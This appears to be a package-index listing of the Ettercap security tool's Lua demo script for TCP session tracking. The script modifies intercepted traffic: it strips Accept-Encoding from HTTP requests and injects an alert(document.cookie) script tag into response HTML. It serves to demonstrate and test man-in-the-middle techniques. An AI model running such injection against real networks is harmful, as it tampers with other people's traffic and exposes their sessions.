This file is indexed.

/usr/share/ettercap/lua/scripts/tcp_session_demo.lua is in ettercap-common 1:0.8.2-2build1.

This file is owned by root:root, with mode 0o644.

The actual contents of the file can be viewed below.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
---
--    Copyright (C) Ryan Linn and Mike Ryan
--
--    This program is free software; you can redistribute it and/or modify
--    it under the terms of the GNU General Public License as published by
--    the Free Software Foundation; either version 2 of the License, or
--    (at your option) any later version.
--
--    This program is distributed in the hope that it will be useful,
--    but WITHOUT ANY WARRANTY; without even the implied warranty of
--    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
--    GNU General Public License for more details.
--
--    You should have received a copy of the GNU General Public License
--    along with this program; if not, write to the Free Software
--    Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.

description = "This demonstrates TCP session tracking.";


local ffi = require('ettercap_ffi')
local eclib = require('eclib')
local hook_points = require("hook_points")
local shortsession = require("shortsession")
local packet = require("packet")

-- We have to hook at the filtering point so that we are certain that all the 
-- dissectors hae run.
hook_point = hook_points.filter

function split_http(str)
  local break_start, header_end= string.find(str, '\r?\n\r?\n')
  if header_end == nil then
    -- We only see the headers. So, that's all we got.
    header_end = string.len(str)
  end

  local header = string.sub(str, 0, header_end)
  local body = string.sub(str,header_end+1)
  
  return header, body
end

function shrink_http_body(body)
  local modified_body = string.gsub(body, '>%s*<','><')
  return modified_body
end

function pad_http_body(body, len)
  if len <= 0 then
    return body
  end
  local padded_sep = ">" .. string.rep(" ", len) .. "<"
  local modified_body = string.gsub(body, '><',padded_sep, 1)
  return modified_body
end

-- We only want to mess around with TCP streams that have data.
packetrule = function(packet_object)
  if packet.is_tcp(packet_object) == false then
    return false
  end

  if packet_object.DATA.len == 0 then
    return false
  end

  return true
end

local session_key_func = shortsession.tcp_session("tcp_session_demo")
local create_namespace = ettercap.reg.create_namespace

local http_states = {}
http_states.request_seen  = 1
http_states.response_seen = 2
http_states.body_seen     = 3
http_states.injected      = 4

function handle_request(session_data, packet_object)
  local buf = packet.read_data(packet_object, 4) 
  if buf == "GET " then
    session_data.http_state = http_states.request_seen
  end

  if session_data.http_state == http_states.request_seen then
    local request =  packet.read_data(packet_object)
    local mod_request = string.gsub(request, '[Aa]ccept-[Ee]ncoding', "Xccept-Xncoding", 1)
    if not request == mod_request then
      packet.set_data(packet_object, mod_request)
    end
  end
end
function nocase (s)
  s = string.gsub(s, "%a", function (c)
    return string.format("[%s%s]", string.lower(c),
    string.upper(c))
  end)
  return s
end

local inject_patterns = {
  nocase("(<body[> ])"),
  nocase("(<head[> ])"),
  nocase("(<meta[> ])"),
  nocase("(<title[> ])"),
  nocase("(><a[> ])")
}
local inject_string = '<script>alert(document.cookie)</script>%1'
local inject_str_len = string.len(inject_string) - 2

function inject_body(orig_body)
  if orig_body == nil then
    return nil
  end
  local orig_body_len = string.len(orig_body)

  -- Try to shrink the body down.
  local shrunk_body = shrink_http_body(orig_body)
  local shrunk_body_len = string.len(shrunk_body)

  local delta = orig_body_len - shrunk_body_len - inject_str_len
  if delta < 0 then
    -- no room to inject our stuff! return.
    return nil
  end

  for i,pattern in pairs(inject_patterns) do

    local offset = string.find(shrunk_body, pattern)
    local modified_body = string.gsub(shrunk_body, pattern, inject_string, 1)
    local modified_body_len = string.len(modified_body)
    if not (modified_body_len == shrunk_body_len) then
      -- Alright, let's pad things a little bit.
      local padded_body = pad_http_body(modified_body, delta)
      return padded_body
    end
  end

  return nil
end

function handle_response(session_data, packet_object)
  -- If we do'nt have a state, then we shouldn't be doing anything!
  if session_data.http_state == nil then
    return nil
  end

  -- If we have already injected, then don't do anything.
  if session_data.http_state == http_states.injected then
    return nil
  end

  if session_data.http_state == http_states.request_seen then
    local buf = packet.read_data(packet_object, 8) 
    if not buf == "HTTP/1." then
      return nil
    end
    session_data.http_state = http_states.response_seen
    -- Since we're in the header, let's see if we can find the body.
  end

  local buf = packet.read_data(packet_object) 
  local header = nil
  local body = nil
  if session_data.http_state == http_states.response_seen then
    -- Let's try to find the body.
    local split_header, split_body = split_http(buf)

    if not split_body then
      -- No dice, didn't find the body.
      return nil
    end

    -- Keep track of our header.
    if split_header then
      header = split_header
    end
    -- Stash our body.
    body = split_body

    session_data.http_state = http_states.body_seen
  end

  if session_data.http_state == http_states.body_seen then
    -- If we didn't already grab the body, then we aren't in the first packet
    -- for the response. That means that 
    --
    if not body then
      body = buf
    end

    local new_body = inject_body(body)
    if new_body == nil then
      return nil
    end

    session_data.http_state = http_states.injected
    if header == nil then
      header = ""
    end

    local new_data = header .. new_body

    -- Set the modified data
    packet.set_data(packet_object, new_data)
  end
end

-- Here's your action.
action = function(packet_object) 
  local session_id = session_key_func(packet_object)
  if not session_id then
    -- If we don't have session_id, then bail.
    return nil
  end

  local ident_ptr = ffi.new("void *")
  local ident_ptr_ptr = ffi.new("void *[1]", ident_ptr)
  local ident_len = ffi.C.tcp_create_ident(ident_ptr_ptr, packet_object);

  local session_ptr = ffi.new("struct ec_session *")
  local session_ptr_ptr = ffi.new("struct ec_session *[1]", session_ptr)
  local ret = ffi.C.session_get(session_ptr_ptr, ident_ptr_ptr[0], ident_len) 
  if ret == -ffi.C.E_NOTFOUND then
    return nil
  end

  -- Find the direction of our current TCP packet. 
  -- 0 == client -> server
  -- 1 == server -> client
  local dir = ffi.C.tcp_find_direction(session_ptr_ptr[0].ident, ident_ptr_ptr[0])

  -- Now we are going to try to figure out if which direction things are
  -- going in.

  -- Get our session data...
  local session_data = create_namespace(session_id)

  if dir == 0 then
    handle_request(session_data, packet_object)
  else 
    handle_response(session_data, packet_object)
  end

  -- ettercap.log("tcp_session_demo: %d %s:%d -> %s:%d - state: %s\n", dir, src_ip, src_port, 
  --                  dst_ip, dst_port, tostring(session_data.http_state))

end